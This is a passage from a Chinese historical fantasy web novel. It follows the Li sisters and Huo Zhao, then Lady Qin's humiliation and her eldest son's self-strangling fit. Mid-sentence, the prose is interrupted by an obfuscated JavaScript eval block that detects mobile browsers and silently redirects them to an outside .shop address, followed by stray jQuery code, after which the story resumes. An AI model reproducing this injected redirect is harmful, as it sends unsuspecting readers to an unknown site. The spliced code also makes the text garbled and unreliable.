“姐姐,姐姐,”李永宁打开房门,就发现李庆安一个人坐在美人榻上,垂着头,看着很是气闷的样子。
李庆安坐在床榻上,看到她来了,也没什么反应。
李永宁有些踌躇,姐姐和霍昭哥,这又是怎么了?
两个人不是明年就要成亲了吗?未婚夫妻总吵架,这亲事还能成吗?
李永宁想逗姐姐笑,缓和一下气氛,便捏住鼻子做了个鬼脸,“姐姐,你看我!略略略!”
她们小时候常玩儿这个,以前李庆安不高兴了,李永宁就扮鬼脸逗她开心。
李庆安有气无力地点了点李永宁的额头,“多大人了,怎么还这么幼稚?”
李永宁努了努鼻子,“这不是想让你高兴一点嘛?我在外面的时候,一直很端庄大方的!”
李永宁把头靠在了李庆安肩上,“姐姐,你到底为什么和阿朝哥吵架呀?”
李永宁顿了顿,“你要是真的不喜欢他的话,不如我们去和皇伯父说,把这个婚约解除了吧?”
李庆安眼前闪过一片黑色的衣角,她连忙说,“不行!”
李永宁看向李庆安,“可是姐姐,强扭的瓜不甜啊,如果你们两个人总是吵架,再好的感情也经不起折腾,那还不如早早分开呢!”
“大人的事儿,小孩儿别乱出主意,”李庆安把李永宁推出门去,“走吧走吧,竟知道出馊主意!”
李永宁茫然地被李庆安推出门,她本来还想再回去劝姐姐。
可她觉得姐姐看起来精神头挺足的……应该不会有什么事儿吧?
李永宁摇摇头,看看渐晚的天色,决定不想了,回去洗个澡,便睡下吧。
屋内,李庆安看着霍昭,“你刚才在房梁上弄出了声音,你知不知道!”
幸亏永宁平时不是个心细的人,否则就要发现霍昭还在她的屋子里了!
霍昭把玩着手里的越州青瓷杯,“我当然知道啦,”他晃了下杯中的清茶,碧绿的茶水澄澈透亮。
霍昭皮笑肉不笑地说,“这个永宁,我平时白对她好了,居然撺掇你和我取消婚约!”
李庆安拍了拍霍昭的肩膀,稍加安抚,“你也别什么事都怪宁宁,今天是我先骗她的。宁宁以为咱们有矛盾,才这么说话的。。”
李庆安一直觉得李永宁是个小孩,可眼下,李永宁不光有了喜欢的人,而且看起来这喜欢还不是一般的喜欢。
永宁这样一个在宫里养尊处优长大的女孩,居然三番五次地追着师道长出入危险的地方,这跟她的性格一点都不像。
别人不清楚李永宁的心思,李庆安还能不清楚吗?
永宁其实很胆小的,她是贪玩儿,但她平时很乖,李庆安叫她不要做危险的事情,永宁就不会去做。
可现在,永宁总是追在这位师雪寂身后跑,连她的话也不听了,上次还去了小荒村那么危险的地方。
李庆安心中又是惆怅,又是担忧。
霍昭倒是看得很开,“永宁也不是小孩了,你总不能关着她一辈子吧?想让人成长,就得先给她自由。”
“你懂什么?永宁性子天真纯善,她在外面,会吃亏的。”李庆安仍是不放心。
霍昭扬了扬下巴,“我什么都不懂,但我还得陪着你演戏,三天两头地假装和你闹别扭。”
“你是她姐夫啊,当然要管她。”李庆安给霍昭拿了一床被子,“坊市门都关了,今晚你就在美人榻上睡吧。”
灯树的光晕打在李庆安雪白的侧脸上,竟生出几分朦胧温柔之意。
霍昭走到李庆安身后,紧紧抱住她。
“你干什么……”
李庆安话说到一半,察觉到霍昭的异样,顿时不动了。
过了好一会,霍昭才松开李庆安,“究竟要等多久,才能成婚啊?”
李庆安快步走回床边,淡粉色的琉璃珠在灯光下折射出异样的光彩,“你等着吧!”
霍昭拉过绣被,盖在身上,被子是很清淡的香气,是霍昭所熟悉的李庆安的味道。
他有点得意,“我等着呢,都等了十年了!”
李庆安无言以对,这个人都不知道,害臊的吗?
她默默便将床帐帘子解了下来,遮住了霍昭的视线。
*
秦夫人被人捉着扔出宸王府,连鬓边的珠钗都散乱了。
小翠一看夫人的窘态,连忙迎上去,把自己头上的帷帽戴在秦夫人头上。
“夫人,这是怎么了?”
“回家,回家……”
秦夫人来到长安后,这是头一次受到这么大的侮辱,几乎是被人推出来的。
那些人看着她的目光,像是看着一团脏东西,烂泥巴。
看秦夫人神色凄楚,小翠顾不上再问话,扶着秦夫人上了轿子,对着马夫大哥喊,“张大哥,咱们回家吧。”
这时候,太阳西斜,坊市门要不了多久就要关闭了。
马夫挥动鞭子,马儿吃痛,马车的车轱辘骨碌碌地转了起来。
小翠帮秦夫人整理散乱的头发,看秦夫人情绪稍好,才敢问,“夫人,您进去之后发生什么事儿了?是谁欺辱您了吗?”
小翠心里疑惑,秦夫人去之前,明明信心满满,踌躇满志的。怎么出来的时候这样狼狈?
秦夫人的眼角又红了,“小翠,我生了个白眼狼啊。”
小翠愣了一瞬,白眼狼?夫人是在说谁?
是大郎君赵承安,还是小郎君赵承辉?
难不成是大姑娘赵承欢?
夫人一共就这三个孩子,先头第一个孩子便是大郎君赵承安,大郎君八九岁时,赵家双喜临门,老爷升迁来了长安,夫人恰好那年又生了一对龙凤胎。
龙凤胎中年长的是姐姐,夫人为女儿取名叫赵承欢,年幼的是弟弟,老爷给他起名为承辉,取自门庭光辉之意。
大郎君很有出息,之前参加了进士考试,可惜差了几名,没有考中。
老爷让他在家再学上几年,三年后,重新参加礼部的进士考试。总归大郎君还年轻,不到三十岁呢,谋个进士出身,往后才好授官。
大郎君是老爷和夫人的希望,夫人绝不可能说大郎君是白眼狼。
大姑娘赵承欢和老爷的同僚家的长子定了亲事,再待上两年便要嫁人,她性情温和柔糯,平时说话都不大声,她也不可能是白眼狼啊。
难不成是小郎君?
小郎君赵承辉是赵家年纪最小的孩子,他最受宠爱,嘴也最
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616058|204145||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
甜,一向是老爷和夫人的开心果,不过他一向仗着自己受宠,性子顽劣,是个小魔王。
难不成是他做了什么坏事?惹得夫人动怒,才叫他白眼狼?
“二郎是个白眼狼啊!”秦夫人掩面拭泪。
二郎?
小翠觉得自己好像听到了什么了不得的秘辛。
赵家什么时候有过二郎了?
“他怨我,我就知道,我就知道他一直恨我!他恨我当时亲手把他推给老道士!”秦夫人捂着胸口,“可我当时是不得已的呀,他天生不祥,他在哪里,哪里便不得安宁!老爷都说要给我递休书了,我只是,我只是太害怕了……”
她并非不爱那个孩子,只是在自己和那个孩子之间,她选择了自己,这难道也有错吗?
更何况这么多年过去了,他不是过得很好吗?
若是当时他没被送走,赵家一定会落一个家破人亡的下场,现在这样,彼此安好,难道不是两全其美的大好事吗?
他怎么能怪她?她是生他养他的娘啊。
马夫在坊市大门关闭前,驶入了崇义坊,太阳彻底消散在天边,天边泛起幽蓝色的光晕,黑夜就要来临。
秦夫人刚进院子,就被管家婆子找了去。
管家婆子告诉她,大郎又发病了,秦夫人之前的羞愤恼怒全被压了下去,她焦急地问,“我今天走的时候,大郎不是好好的吗?怎么好端端的又发病了?”
管家婆子也说不清,“没人进大郎君的院子打扰他,餐食和水都是从门口的小缝儿递进去的。天色暗下来没多久,大郎君就有些不对劲了。”
秦夫人走到赵大郎的房间门口,听着赵大郎的惨嚎,隔着黑漆漆的绸子,看不清屋里的情形。
屋里的惨嚎越发凄厉,她犹豫再三,还是叫下人强行破门。
三两个青壮的汉子一起发力,木门轰然倒地。
“嗬嗬嗬,嗬……娘,救救我!娘!”赵大郎在床上翻滚着,自己用力掐住了自己的脖子,脖子上的青筋暴凸,眼睛要从眼眶里瞪出来,枯黄的长发被汗透湿,随意的散落在榻上,潮湿又黏腻。
一面呼救,一面又要杀自己,秦夫人和下人都愣住了。
“呃,呃……”赵大郎呼吸微弱下来,出气多,进气少。
秦夫人这才反应过来,“快救大郎,快救大郎,把他的手掰开!”
赵大郎掐住自己脖子的手格外有力,一个常年干了力气活的青壮下人居然一时没能掰开那双手。
直到秦夫人吩咐下人一起上,几人合力才将那手掰开。
只是手掌虽掰开了,但指骨断了几节,软软地垂在掌心。
读书人最重要的便是那双手,秦夫人心疼不已,“明日去请医署的医官过来,多使些银钱,让他们好好帮大郎看病。”
赵大郎已经昏死过去了,他这几日都没怎么吃饭饮水,发过一次病后,体力耗尽,意识模糊,仰头倒了下去。
秦夫人看着赵大郎脖子上的淤痕,眼底忍不住泛起了泪花,“大郎好好的,怎么就生起了病?”
赵大郎太久没有休息过了,昏迷对他来说,反而是一种恩赐。
秦夫人没回自己的院子,就在床边,守了赵大郎整整一天一夜。